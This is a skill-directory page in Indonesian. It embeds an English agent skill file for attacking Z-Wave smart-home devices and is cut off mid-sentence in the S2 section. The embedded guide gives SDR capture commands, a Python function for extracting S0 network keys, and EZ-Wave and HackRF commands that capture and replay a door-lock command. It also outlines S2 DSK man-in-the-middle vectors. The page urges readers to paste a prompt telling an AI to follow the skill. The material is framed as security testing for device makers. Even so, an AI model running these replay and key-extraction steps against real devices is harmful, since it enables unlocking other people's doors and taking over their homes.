Langsung ke konten
Skillpedia
Keamanan6.5k ยท #14104

z-wave

Fungsinya

Panduan ini membahas pemeriksaan keamanan untuk perangkat rumah pintar Z-Wave, seperti kunci dan sensor. Panduan ini untuk pembuat perangkat dan penguji yang ingin memeriksa cara jaringan ini melindungi kuncinya.

Kapan dipakai

  • โœ“Saat sebuah produk rumah pintar memakai Z-Wave dan kelas keamanannya perlu diperiksa.
  • โœ“Saat sebuah tim ingin melihat apakah perangkat menerima perintah tanpa autentikasi.
  • โœ“Saat proses pairing sebuah produk bisa rentan terhadap upaya man-in-the-middle.

Link skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/iot/z-wave/SKILL.md

Salin lalu tempelkan ke AI Anda (Claude, ChatGPT, atau Cursor) dan minta AI mengikuti instruksinya.

Cara pakai

Cara paling mudah: salin pesan ini dan tempelkan ke AI Anda. AI akan membaca skill dan mengikuti instruksinya.

Pesan siap tempel

Gunakan skill ini untuk membantu saya: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/iot/z-wave/SKILL.md Baca file SKILL.md di link tersebut dan ikuti instruksinya untuk tugas saya.
Mau AI Anda menemukan skill seperti ini sendiri?Pasang MCP Skillpedia gratis: cukup satu baris, dan AI mencari di antara 15.000+ skill sebelum tiap tugas.Pasang dalam 1 menit โ†’

Contoh permintaan ke AI

โ€œKami membuat kunci pintar Z-Wave. Bisakah Anda memeriksa apakah pertukaran kunci dan perlindungan pairing-nya sudah kuat?โ€

5 skill baru setiap minggu. 1 menit baca.

Cara kerjanya

Agent meninjau kelas keamanan yang dipakai saat inclusion, memeriksa apakah pertukaran kunci terlindungi, lalu melaporkan bagian pairing yang bisa disadap.

Konten teknis (SKILL.md asli)

Teks asli dari pembuat, dalam bahasa Inggris, langsung dari GitHub.

Z-Wave S0/S2 Security Assessment

Z-Wave is the dominant proprietary RF protocol for smart-home devices (locks, thermostats, sensors). Security class S0 (2009) has a fundamental key-exchange flaw: the network key is transmitted in cleartext during inclusion. S2 (2017) upgrades to ECDH but introduces a DSK (Device Specific Key) bootstrapping step that can be MITM'd if the controller UI does not enforce out-of-band DSK verification.

Prerequisites

  • Hardware:
    • RTL-SDR Blog v4 (passive capture, 24โ€“1766 MHz) + GNU Radio.
    • HackRF One (TX/RX, active replay and injection, 1 MHzโ€“6 GHz).
    • OR Sigma Designs UZB stick / Aeotec Z-Stick Gen5 (USB Z-Wave controller, for EZ-Wave / Z-Force active work).
  • Software: gr-zwave (GNU Radio Z-Wave OOK decoder), EZ-Wave, Z-Force / zniffer, Scapy with Z-Wave layer.
# Install gr-zwave (build from source on Kali):
git clone https://github.com/BastilleResearch/scapy-radio
# EZ-Wave:
git clone https://github.com/AFcruzBR/EZ-Wave
pip install pyserial pyzmq
# Z-Force (Silabs):
# Download Zniffer binary from Silabs PC_Host_SW_Bundle; run on Windows VM or Wine.

Z-Wave Frequency Reference

Region Primary frequency Fallback
EU / UK 868.42 MHz 869.85 MHz
US / CA 908.42 MHz 916.0 MHz
JP 922โ€“926 MHz โ€”
AU / NZ 919.8 MHz 921.4 MHz

Set your SDR to the correct region frequency.

Phase 1: Passive Capture with RTL-SDR + gr-zwave

# Start GRC flowgraph for Z-Wave OOK demodulation:
# Use the gr-zwave example flowgraph (zwave_rx.grc).
# Set sample rate = 2 MHz, center_freq = 908.42e6 (US) or 868.42e6 (EU).
gnuradio-companion /path/to/gr-zwave/apps/zwave_rx.grc

# Alternatively, capture raw IQ and decode offline:
rtl_sdr -f 908420000 -s 2000000 -g 40 /tmp/zwave_capture.iq
# Then pipe through gr-zwave offline decoder:
python3 gr-zwave/apps/decode_zwave_file.py /tmp/zwave_capture.iq

Capture traffic during an inclusion event (when a new device is added to the controller) โ€” S0 key transport happens in plaintext at this moment.

Phase 2: S0 Key Extraction During Inclusion

S0 inclusion sequence:

  1. Controller sends NETWORK_KEY_SET with the 16-byte network key XOR'd with the Z-Wave default key 0x00ร—16.
  2. Node acknowledges with NETWORK_KEY_VERIFY.

Since the default key is all-zeros, the XOR is trivially reversible:

DEFAULT_KEY = b'\x00' * 16  # Z-Wave S0 default key

def extract_s0_key(key_set_payload: bytes) -> bytes:
    """
    key_set_payload: bytes 3โ€“18 of the NETWORK_KEY_SET command body (after CC byte 0x98, cmd 0x06).
    """
    return bytes(a ^ b for a, b in zip(key_set_payload[:16], DEFAULT_KEY))
    # Since DEFAULT_KEY is 0x00 this is identity โ€” the key IS the payload.

# In practice, the "encrypted" key in S0 KEY_SET is sent under a temp key
# derived from the controller nonce + node nonce; capture both nonces.

Use Scapy Z-Wave layer to parse frames from pcap:

# EZ-Wave sniffer mode (requires Aeotec Z-Stick or UZB):
python3 EZ-Wave/ezwave.py -s /dev/ttyACM0 -c sniff | tee /tmp/ezwave_sniff.txt

Phase 3: Replay Attack on Unauthenticated Nodes (No-Security / S0 with extracted key)

Devices that joined with no security class (very common on older gear) accept any RF frame addressed to their NodeID. EZ-Wave replay:

# Record a legitimate command (e.g., door lock LOCK command):
python3 EZ-Wave/ezwave.py -s /dev/ttyACM0 -c capture -f /tmp/lock_cmd.bin

# Replay the frame (unmodified) โ€” triggers the lock:
python3 EZ-Wave/ezwave.py -s /dev/ttyACM0 -c replay -f /tmp/lock_cmd.bin

With HackRF + GNU Radio for raw OOK replay:

# 1. Capture raw IQ of target frame:
hackrf_transfer -r /tmp/zwave_frame.iq -f 908420000 -s 2000000 -l 40 -g 40

# 2. Replay at same frequency:
hackrf_transfer -t /tmp/zwave_frame.iq -f 908420000 -s 2000000 -x 47

Phase 4: S2 DSK MITM Analysis

S2 inclusion uses ECDH (Curve25519). The DSK (device-specific key, a 16-digit PIN printed on the device label) is used for bootstrapping the ECDH exchange. Attack vectors:

  1. MITM if DSK not verified: if the controller software auto-accepts the DSK without prompting the user to verify, a spoofed node can substitute its own public key.

  2. Physical DSK exposure: the DSK is printed on a label or QR code on the device. If the attacker had physical access (supply chain, retail), they can record DSKs and later include the device under

Pertanyaan umum

Apa kelemahan lama yang utama?

Panduan ini menyatakan kelas keamanan S0 mengirim kunci jaringan dalam teks biasa saat pengaturan.

Apa itu S2?

Itu adalah kelas keamanan yang lebih baru dengan pertukaran kunci yang lebih kuat, menurut panduan ini.

Apa itu device specific key?

Itu adalah kunci yang dipakai untuk mengonfirmasi perangkat selama pengaturan S2, dan harus diperiksa di luar jalur utama.

Detail

Deskripsi asli dari pembuat

Z-Wave S0 network-key derivation flaw exploitation, S2 ECDH/DSK analysis, replay attacks against unauthenticated Z-Wave nodes, traffic capture with RTL-SDR, and active fuzzing/replay with EZ-Wave and Z-Force. Covers 868.42 MHz (EU) and 908.42 MHz (US) bands.

repo: BitterSecurity/Decepticon

Popularitas

Bintang GitHub
6.5k
Peringkat
#14104
Lisensi
Apache-2.0
Diperbarui
1/11/2026

Apakah skill ini berguna?

0

Masuk untuk memberi suara.

Komentar

  • โ€ฆ

Skill lain dari repositori ini

Skill serupa